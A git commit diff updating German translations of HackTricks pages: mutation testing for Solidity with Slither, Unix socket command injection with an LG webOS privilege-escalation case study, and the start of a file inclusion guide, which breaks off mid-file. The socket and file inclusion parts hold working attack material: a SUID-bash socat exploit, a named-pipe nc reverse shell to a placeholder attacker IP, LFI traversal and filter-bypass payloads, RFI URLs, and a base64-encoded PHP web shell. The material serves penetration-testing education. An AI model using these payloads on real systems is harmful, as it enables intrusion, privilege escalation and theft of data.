Translated ['', 'src/linux-hardening/privilege-escalation/socket-command

2025-10-10 18:36:50 +00:00 · 2025-10-01 09:23:54 +00:00 · 2025-10-01 09:23:54 +00:00 · a72cc21946
commit a72cc21946
parent 45bf2993ad
3 changed files with 239 additions and 198 deletions
--- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@ -1,14 +1,14 @@
-# Mutation Testing for Solidity with Slither (slither-mutate)
+# Mutation Testing für Solidity mit Slither (slither-mutate)

-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

-Mutation testing "tests your tests", indem es systematisch kleine Änderungen (Mutanten) in deinen Solidity-Code einführt und deine Test-Suite erneut ausführt. Wenn ein Test fehlschlägt, wird der Mutant getötet. Wenn die Tests weiterhin bestehen, überlebt der Mutant und offenbart eine Blindstelle in deiner Test-Suite, die line/branch coverage nicht erkennen kann.
+Mutation Testing "tests your tests", indem es systematisch kleine Änderungen (Mutanten) in deinen Solidity-Code einführt und deine Test-Suite erneut ausführt. Wenn ein Test fehlschlägt, wird der Mutant getötet. Wenn die Tests weiterhin bestehen, überlebt der Mutant und offenbart eine Blindstelle in deiner Test-Suite, die line/branch coverage nicht erkennen kann.

-Kernaussage: Coverage zeigt, dass Code ausgeführt wurde; mutation testing zeigt, ob das Verhalten tatsächlich geprüft wird.
+Key idea: Coverage zeigt, dass Code ausgeführt wurde; Mutation Testing zeigt, ob das Verhalten tatsächlich mit Assertions abgesichert wird.

-## Warum Coverage täuschen kann
+## Warum Coverage in die Irre führen kann

-Betrachte diese einfache Schwellenwertprüfung:
+Betrachten wir diese einfache Schwellenwertprüfung:
 ```solidity
 function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
 if (deposit >= 1 ether) {
@ -18,99 +18,99 @@ return false;
 }
 }
 ```
-Unit-Tests, die nur einen Wert unterhalb und einen Wert oberhalb des Schwellenwerts prüfen, können 100% Zeilen-/Branch-Abdeckung erreichen, während sie es versäumen, die Gleichheitsgrenze (==) zu prüfen. Eine Änderung zu `deposit >= 2 ether` würde solche Tests weiterhin bestehen und stillschweigend die Protokoll-Logik brechen.
+Unit-Tests, die nur einen Wert unterhalb und einen Wert oberhalb der Schwelle prüfen, können 100% Zeilen-/Zweigabdeckung erreichen, während sie es versäumen, die Gleichheitsgrenze (==) zu überprüfen. Ein Refactor zu `deposit >= 2 ether` würde solche Tests weiterhin bestehen und dabei stillschweigend die Protokolllogik brechen.

-Mutation-Tests decken diese Lücke auf, indem sie die Bedingung verändern und überprüfen, dass deine Tests fehlschlagen.
+Mutationstests machen diese Lücke sichtbar, indem sie die Bedingung verändern und verifizieren, dass Ihre Tests fehlschlagen.

 ## Gängige Solidity-Mutationsoperatoren

-Slither’s Mutation-Engine wendet viele kleine, die Semantik ändernde Bearbeitungen an, wie z. B.:
- Operator-Ersetzung: `+` ↔ `-`, `*` ↔ `/`, etc.
+Slither’s Mutations-Engine wendet viele kleine, die Semantik ändernde Änderungen an, wie zum Beispiel:
+- Operatorersetzung: `+` ↔ `-`, `*` ↔ `/`, etc.
 - Zuweisungsersetzung: `+=` → `=`, `-=` → `=`
 - Konstantenersetzung: nicht-null → `0`, `true` ↔ `false`
 - Negation/Ersetzung von Bedingungen innerhalb von `if`/Schleifen
- Ganze Zeilen auskommentieren (CR: Kommentarersetzung)
- Ersetze eine Zeile durch `revert()`
- Datentyp-Tausch: z. B. `int128` → `int64`
+- Ganze Zeilen auskommentieren (CR: Comment Replacement)
+- Eine Zeile durch `revert()` ersetzen
+- Datentyp-Austausch: z. B. `int128` → `int64`

-Ziel: 100% der generierten Mutanten eliminieren oder verbliebene mit einer klaren Begründung rechtfertigen.
+Ziel: 100% der erzeugten Mutanten eliminieren oder Überlebende mit klarer Begründung rechtfertigen.

-## Running mutation testing with slither-mutate
+## Mutationstests mit slither-mutate ausführen

-Requirements: Slither v0.10.2+.
+Voraussetzungen: Slither v0.10.2+.

- List options and mutators:
+- Optionen und Mutatoren auflisten:
 ```bash
 slither-mutate --help
 slither-mutate --list-mutators
 ```
- Foundry example (Ergebnisse erfassen und ein vollständiges Protokoll führen):
+- Foundry-Beispiel (Ergebnisse erfassen und ein vollständiges Protokoll führen):
 ```bash
 slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
 ```
 - Wenn du Foundry nicht verwendest, ersetze `--test-cmd` durch den Befehl, mit dem du Tests ausführst (z. B. `npx hardhat test`, `npm test`).

-Artefakte und Berichte werden standardmäßig in `./mutation_campaign` gespeichert. Nicht gefangene (überlebende) Mutanten werden dort zur Inspektion kopiert.
+Artefakte und Berichte werden standardmäßig in `./mutation_campaign` gespeichert. Nicht gefangene (überlebende) Mutanten werden dorthin zur Prüfung kopiert.

 ### Ausgabe verstehen

-Berichtszeilen sehen folgendermaßen aus:
+Die Report-Zeilen sehen folgendermaßen aus:
 ```text
 INFO:Slither-Mutate:Mutating contract ContractName
 INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
 ```
- Der Tag in eckigen Klammern ist das Mutator-Alias (z. B. `CR` = Comment Replacement).
+- Das Tag in eckigen Klammern ist das Mutator-Alias (z. B. `CR` = Comment Replacement).
 - `UNCAUGHT` bedeutet, dass Tests unter dem mutierten Verhalten bestanden haben → fehlende Assertion.

-## Laufzeit reduzieren: priorisiere wirkungsvolle Mutanten
+## Laufzeit reduzieren: wirkungsvolle Mutanten priorisieren

-Mutationskampagnen können Stunden oder Tage dauern. Tipps zur Kostenreduktion:
- Umfang: Starte nur mit kritischen Contracts/Verzeichnissen und erweitere dann.
- Mutatoren priorisieren: Wenn ein hochprioritärer Mutant in einer Zeile überlebt (z. B. ganze Zeile auskommentiert), kannst du niedrigere Prioritätsvarianten für diese Zeile überspringen.
- Parallelisiere Tests, wenn dein Runner das erlaubt; cache Abhängigkeiten/Builds.
- Fail-fast: brich früh ab, wenn eine Änderung klar eine Assertion-Lücke zeigt.
+Mutationskampagnen können Stunden oder Tage dauern. Tipps zur Kostenreduzierung:
+- Umfang: Beginne nur mit kritischen Contracts/Verzeichnissen und erweitere dann.
+- Mutatoren priorisieren: Wenn ein hochprioritärer Mutant auf einer Zeile überlebt (z. B. die gesamte Zeile auskommentiert), kannst du niedrigprioritäre Varianten für diese Zeile überspringen.
+- Tests parallelisieren, wenn dein Runner das erlaubt; Abhängigkeiten/Builds cachen.
+- Fail-fast: früh abbrechen, wenn eine Änderung eindeutig eine Assertion-Lücke zeigt.

 ## Triage-Workflow für überlebende Mutanten

 1) Untersuche die mutierte Zeile und das Verhalten.
- Reproduziere lokal, indem du die mutierte Zeile anwendest und einen fokussierten Test ausführst.
+- Lokal reproduzieren, indem du die mutierte Zeile anwendest und einen fokussierten Test ausführst.

-2) Stärke Tests, indem du den Zustand überprüfst, nicht nur Rückgabewerte.
- Füge Gleichheits-/Grenzwertprüfungen hinzu (z. B. Schwellenwert `==` testen).
- Überprüfe Post-Conditions: Kontostände, total supply, Autorisierungswirkungen und emittierte Events.
+2) Stärke Tests, um Zustand zu prüfen, nicht nur Rückgabewerte.
+- Füge Gleichheits-/Grenzprüfungen hinzu (z. B. Test threshold `==`).
+- Prüfe Post-Conditions: Salden, Gesamtversorgung, Autorisierungseffekte und emittierte Events.

 3) Ersetze zu permissive Mocks durch realistisches Verhalten.
- Stelle sicher, dass Mocks Transfers, Fehlerpfade und Event-Emissionen durchsetzen, wie sie on-chain auftreten.
+- Sorge dafür, dass Mocks Transfers, Fehlerpfade und Event-Emissionen erzwingen, die on-chain auftreten.

 4) Füge Invarianten für Fuzz-Tests hinzu.
- Z. B. Erhaltung des Werts, nicht-negative Kontostände, Autorisierungsinvarianten, monotone Gesamtversorgung, falls anwendbar.
+- Z. B. Werterhaltung, nicht-negative Salden, Autorisierungsinvarianten, monotone Gesamtversorgung, falls zutreffend.

-5) Führe slither-mutate erneut aus, bis Überlebende beseitigt oder explizit gerechtfertigt sind.
+5) Führe slither-mutate erneut aus, bis Überlebende eliminiert oder ausdrücklich gerechtfertigt sind.

-## Fallstudie: Aufdecken fehlender Status-Assertions (Arkis-Protokoll)
+## Fallstudie: Aufdecken fehlender Zustandsprüfungen (Arkis protocol)

-Eine Mutationskampagne während eines Audits des Arkis DeFi-Protokolls förderte Überlebende zutage wie:
+Eine Mutationskampagne während eines Audits des Arkis DeFi-Protokolls brachte Überlebende wie zutage:
 ```text
 INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
 ```
-Das Auskommentieren der Zuweisung brach die Tests nicht, was fehlende Assertions für den Nachzustand belegte. Ursache: Der Code vertraute einem vom Benutzer kontrollierten `_cmd.value`, anstatt die tatsächlichen Token-Transfers zu validieren. Ein Angreifer könnte erwartete und tatsächliche Transfers desynchronisieren, um Mittel abzuziehen. Ergebnis: hohes Risiko für die Solvenz des Protokolls.
+Durch Auskommentieren der Zuweisung brachen die Tests nicht, was fehlende Post-State-Assertions beweist. Ursache: Der Code vertraute auf ein vom Nutzer kontrolliertes `_cmd.value` statt tatsächliche Token-Transfers zu validieren. Ein Angreifer könnte erwartete und tatsächliche Transfers desynchronisieren, um Gelder abzuziehen. Ergebnis: hohes Risiko für die Solvenz des Protokolls.

-Guidance: Behandle Überlebende, die Werttransfers, Buchführung oder Zugriffskontrolle betreffen, als hohes Risiko, bis sie eliminiert sind.
+Leitlinie: Behandle Survivors, die Werttransfers, Buchhaltung oder Zugriffskontrolle beeinflussen, als hohes Risiko, bis sie killed sind.

 ## Praktische Checkliste

 - Führe eine gezielte Kampagne durch:
 - `slither-mutate ./src/contracts --test-cmd="forge test"`
- Triage die Überlebenden und schreibe Tests/Invarianten, die unter dem mutierten Verhalten fehlschlagen würden.
- Prüfe Salden, Gesamtangebot, Autorisierungen und Events.
- Füge Grenzfall-Tests hinzu (`==`, Überläufe/Unterläufe, Null-Adresse, Null-Betrag, leere Arrays).
- Ersetze unrealistische Mocks; simuliere Ausfallmodi.
- Iteriere, bis alle Mutanten eliminiert oder mit Kommentaren und Begründung gerechtfertigt sind.
+- Triage Survivors und schreibe Tests/Invarianten, die unter dem mutierten Verhalten fehlschlagen würden.
+- Prüfe Salden, Supply, Autorisierungen und Events.
+- Füge Grenztests hinzu (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- Ersetze unrealistische Mocks; simuliere Fehlermodi.
+- Iteriere, bis alle Mutanten getötet oder mit Kommentaren und Begründung gerechtfertigt sind.

-## Referenzen
+## References

 - [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
 - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
 - [Slither (GitHub)](https://github.com/crytic/slither)

-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md
@ -1,8 +1,10 @@
+# Socket Command Injection
+
 {{#include ../../banners/hacktricks-training.md}}

 ## Beispiel für Socket-Bindung mit Python

-Im folgenden Beispiel wird ein **Unix-Socket erstellt** (`/tmp/socket_test.s`), und alles, was **empfangen** wird, wird von `os.system` **ausgeführt**. Ich weiß, dass Sie dies nicht in der Wildnis finden werden, aber das Ziel dieses Beispiels ist es, zu sehen, wie ein Code, der Unix-Sockets verwendet, aussieht und wie man die Eingabe im schlimmsten Fall verwaltet.
+Im folgenden Beispiel wird ein **unix socket erstellt** (`/tmp/socket_test.s`) und alles, was **empfangen** wird, wird von `os.system` **ausgeführt**. Ich weiß, dass du so etwas nicht in freier Wildbahn finden wirst, aber das Ziel dieses Beispiels ist zu zeigen, wie Code aussieht, der unix sockets verwendet, und wie man die Eingaben im schlimmstmöglichen Fall handhabt.
 ```python:s.py
 import socket
 import os, os.path
@ -24,15 +26,50 @@ print(datagram)
 os.system(datagram)
 conn.close()
 ```
-**Führen Sie** den Code mit Python aus: `python s.py` und **überprüfen Sie, wie der Socket lauscht**:
+**Führe** den Code mit python aus: `python s.py` und **prüfe, wie der socket lauscht**:
 ```python
 netstat -a -p --unix | grep "socket_test"
 (Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
 unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s
 ```
-**Exploits**
+**Exploit**
 ```python
 echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
 ```
+## Fallstudie: Root-owned UNIX socket signal-triggered escalation (LG webOS)
+
+Einige privilegierte Daemons exponieren einen root-owned UNIX socket, der untrusted input akzeptiert und privilegierte Aktionen an thread-IDs und signals koppelt. Wenn das Protokoll einem nicht-privilegierten Client erlaubt, zu beeinflussen, welcher native Thread ins Visier genommen wird, könnten Sie einen privilegierten Codepfad auslösen und eskalieren.
+
+Beobachtetes Muster:
+- Mit einem root-owned Socket verbinden (z. B. /tmp/remotelogger).
+- Einen Thread erstellen und dessen native thread id (TID) ermitteln.
+- Die TID (packed) plus Padding als Request senden; eine Bestätigung erhalten.
+- Ein bestimmtes Signal an diese TID senden, um das privilegierte Verhalten auszulösen.
+
+Minimale PoC-Skizze:
+```python
+import socket, struct, os, threading, time
+# Spawn a thread so we have a TID we can signal
+th = threading.Thread(target=time.sleep, args=(600,)); th.start()
+tid = th.native_id  # Python >=3.8
+s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+s.connect("/tmp/remotelogger")
+s.sendall(struct.pack('<L', tid) + b'A'*0x80)
+s.recv(4)  # sync
+os.kill(tid, 4)  # deliver SIGILL (example from the case)
+```
+Um dies in eine root shell zu verwandeln, kann ein einfaches named-pipe + nc-Muster verwendet werden:
+```bash
+rm -f /tmp/f; mkfifo /tmp/f
+cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
+```
+Hinweise:
+- Diese Klasse von Fehlern entsteht dadurch, dass Werten vertraut wird, die aus unprivilegiertem Client-Zustand (TIDs) abgeleitet wurden, und diese an privilegierte Signal-Handler oder Logik gebunden werden.
+- Absichern durch Erzwingen von Anmeldeinformationen auf dem Socket, Validieren von Nachrichtenformaten und Entkoppeln privilegierter Operationen von extern bereitgestellten Thread-Identifikatoren.
+
+## Referenzen
+
+- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
+
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@ -4,10 +4,10 @@

 ## File Inclusion

-**Remote File Inclusion (RFI):** Die Datei wird von einem entfernten Server geladen (Am besten: Man kann den Code schreiben und der Server führt ihn aus). In php ist dies standardmäßig **deaktiviert** (**allow_url_include**).\
+**Remote File Inclusion (RFI):** Die Datei wird von einem entfernten Server geladen (Am besten: Du kannst den Code schreiben und der Server führt ihn aus). In php ist dies standardmäßig **deaktiviert** (**allow_url_include**).\
 **Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.

-Die Schwachstelle tritt auf, wenn der Benutzer die Datei, die vom Server geladen werden soll, in irgendeiner Weise kontrollieren kann.
+Die Schwachstelle tritt auf, wenn ein Benutzer die Datei, die vom Server geladen werden soll, in irgendeiner Weise kontrollieren kann.

 Anfällige **PHP-Funktionen**: require, require_once, include, include_once

@ -19,8 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 ```
 ### **Linux**

-**Durch Zusammenführung mehrerer \*nix LFI-Listen und Hinzufügen weiterer Pfade habe ich diese erstellt:**
-
+**Durch das Zusammenführen mehrerer \*nix LFI-Listen und durch das Hinzufügen weiterer Pfade habe ich diese erstellt:**

 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
@ -29,11 +28,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
 Versuche auch, `/` durch `\` zu ersetzen  
 Versuche auch, `../../../../../` hinzuzufügen

-Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Schwachstelle besteht), befindet sich [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
+Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die vulnerability existiert), kann [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) gefunden werden

 ### **Windows**

-Zusammenführung verschiedener Wordlists:
+Zusammenführung verschiedener wordlists:


 {{#ref}}
@ -41,21 +40,21 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
 {{#endref}}

 Versuche auch, `/` durch `\` zu ersetzen  
-Versuche außerdem, `C:/` zu entfernen und `../../../../../` hinzuzufügen
+Versuche auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen

-Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Schwachstelle besteht), befindet sich [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die vulnerability existiert), kann [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) gefunden werden

 ### **OS X**

 Siehe die LFI-Liste von linux.

-## Grundlegendes LFI und Umgehungen
+## Grundlegende LFI und Bypässe

-Alle Beispiele sind für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
+Alle Beispiele gelten für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
-### traversal sequences nicht-rekursiv entfernt
+### Traversal-Sequenzen werden nicht rekursiv entfernt
 ```python
 http://example.com/index.php?page=....//....//....//etc/passwd
 http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -71,51 +70,51 @@ Dies ist **seit PHP 5.4 behoben**

 ### **Kodierung**

-Man kann nicht-standardmäßige Kodierungen wie double URL encode (und andere) verwenden:
+Du könntest nicht-standardisierte Kodierungen wie double URL encode (und andere) verwenden:
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
-### Aus vorhandenem Ordner
+### Aus einem vorhandenen Ordner

-Möglicherweise überprüft das back-end den Ordnerpfad:
+Vielleicht überprüft das Backend den Ordnerpfad:
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
-### Erkundung von Dateisystemverzeichnissen auf einem Server
+### Erkunden von Dateisystemverzeichnissen auf einem Server

-Das Dateisystem eines Servers kann rekursiv untersucht werden, um Verzeichnisse (nicht nur Dateien) zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst das Bestimmen der Verzeichnistiefe und das Abfragen auf das Vorhandensein bestimmter Ordner. Nachfolgend eine detaillierte Methode, um dies zu erreichen:
+Das Dateisystem eines Servers lässt sich rekursiv untersuchen, um Verzeichnisse (nicht nur Dateien) zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst das Bestimmen der Verzeichnistiefe und das gezielte Prüfen auf das Vorhandensein bestimmter Ordner. Im Folgenden eine detaillierte Methode, um dies zu erreichen:

-1. **Verzeichnistiefe bestimmen:** Bestimme die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei `/etc/passwd` abrufst (anwendbar, wenn der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
+1. **Bestimme die Verzeichnistiefe:** Ermittele die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die `/etc/passwd`-Datei abrufst (sofern der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Nach Ordnern suchen:** Hänge den Namen des vermuteten Ordners (z. B. `private`) an die URL an, und navigiere dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert eine Erhöhung der depth um eins:
+2. **Nach Ordnern suchen:** Hänge den Namen des vermuteten Ordners (z. B. `private`) an die URL an, und navigiere dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
 3. **Ergebnisse interpretieren:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
- **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort.
- **Inhalt von `/etc/passwd`:** Die Existenz des Ordners `private` ist bestätigt.
-4. **Rekursive Erkundung:** Gefundene Ordner können weiter auf Unterverzeichnisse oder Dateien untersucht werden, entweder mit der gleichen Technik oder mit traditionellen Local File Inclusion (LFI)-Methoden.
+- **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht am angegebenen Ort.
+- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
+4. **Rekursive Erkundung:** Gefundene Ordner können weiter auf Unterverzeichnisse oder Dateien untersucht werden, indem dieselbe Technik oder traditionelle Local File Inclusion (LFI)-Methoden verwendet werden.

-Um Verzeichnisse an anderen Stellen im Dateisystem zu untersuchen, passe das payload entsprechend an. Zum Beispiel, um zu prüfen, ob `/var/www/` ein Verzeichnis `private` enthält (angenommen, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwende:
+Um Verzeichnisse an anderen Orten im Dateisystem zu erkunden, passe die payload entsprechend an. Zum Beispiel, um zu prüfen, ob `/var/www/` ein Verzeichnis `private` enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwende:
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **Path Truncation Technique**

-Path truncation ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Ziel ist es, einen Dateipfad so zu konstruieren, dass er nach der Änderung durch die Sicherheitsmaßnahme weiterhin auf die gewünschte Datei zeigt.
+Path truncation ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad so zu konstruieren, dass er, nachdem er von der Sicherheitsmaßnahme verändert wurde, immer noch auf die gewünschte Datei zeigt.

-In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Art des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
+In PHP können verschiedene Repräsentationen eines Dateipfads aufgrund der Eigenschaften des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:

 - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, und `/etc/passwd/` werden alle als derselbe Pfad behandelt.
- Wenn die letzten 6 Zeichen `passwd` sind, verändert das Anhängen eines `/` (also `passwd/`) die Zieldatei nicht.
- Ähnlich: wenn `.php` an einen Dateipfad angehängt wird (z. B. `shellcode.php`), ändert das Hinzufügen von `/.` am Ende nicht die aufgerufene Datei.
+- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (also `passwd/`) die Ziel-Datei nicht.
+- Ähnlich verhält es sich, wenn `.php` an einen Dateipfad angehängt wird (z. B. `shellcode.php`); das Hinzufügen von `/.` am Ende ändert nicht die aufgerufene Datei.

-Die folgenden Beispiele zeigen, wie man path truncation nutzt, um auf `/etc/passwd` zuzugreifen — ein häufiges Ziel wegen seines sensitiven Inhalts (Benutzerkontoinformationen):
+Die folgenden Beispiele zeigen, wie path truncation genutzt werden kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seiner sensiblen Inhalte (Benutzerkontoinformationen):
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +124,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-In diesen Szenarien kann die Anzahl der benötigten Traversals ungefähr 2027 betragen, aber diese Zahl kann je nach Serverkonfiguration variieren.
+In diesen Szenarien kann die Anzahl der benötigten Traversals etwa 2027 betragen, aber diese Zahl kann je nach Serverkonfiguration variieren.

- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um das Dateisystem zu navigieren und angehängte Strings vom Server effektiv zu ignorieren.
- **Determining the Required Number of Traversals**: Durch Versuch und Irrtum lässt sich die genaue Anzahl von `../`-Sequenzen finden, die nötig sind, um zum Root-Verzeichnis und dann zu `/etc/passwd` zu gelangen. Dabei werden angehängte Strings (wie `.php`) neutralisiert, während der gewünschte Pfad (`/etc/passwd`) erhalten bleibt.
- **Starting with a Fake Directory**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik dient als Vorsichtsmaßnahme oder dazu, die Anforderungen der Pfad-Parsing-Logik des Servers zu erfüllen.
+- **Verwendung von Dot-Segmenten und zusätzlichen Zeichen**: Traversal-Sequenzen (`../`) in Kombination mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um im Dateisystem zu navigieren und dabei effektiv vom Server angehängte Zeichenfolgen zu ignorieren.
+- **Bestimmung der benötigten Anzahl an Traversals**: Durch Ausprobieren kann man die genaue Anzahl an `../`-Sequenzen finden, die erforderlich ist, um zum Root-Verzeichnis und dann zu `/etc/passwd` zu gelangen, wobei angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) erhalten bleibt.
+- **Beginn mit einem Fake-Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme verwendet oder um die Anforderungen der Pfadparsing-Logik des Servers zu erfüllen.

-Beim Einsatz von path truncation techniques ist es entscheidend, das Pfad-Parsing-Verhalten des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
+Beim Einsatz von Techniken zum Kürzen von Pfaden ist es entscheidend, das Pfad-Parsing-Verhalten des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.

 **Diese Schwachstelle wurde in PHP 5.3 behoben.**

-### **Filter bypass tricks**
+### **Tricks zum Umgehen von Filtern**
 ```
 http://example.com/index.php?page=....//....//etc/passwd
 http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,45 +144,45 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Remote File Inclusion

-In php ist dies standardmäßig deaktiviert, weil **`allow_url_include`** auf **Off** steht. Es muss auf **On** gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:
+In php ist das standardmäßig deaktiviert, weil **`allow_url_include`** **Off.** ist. Es muss **On** sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Wenn aus irgendeinem Grund **`allow_url_include`** **An** ist, PHP aber den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könntest du zum Beispiel das data-Protokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
+Wenn aus irgendeinem Grund **`allow_url_include`** **On** ist, PHP aber den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kannst du zum Beispiel das data protocol mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erreichen:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!TIP]
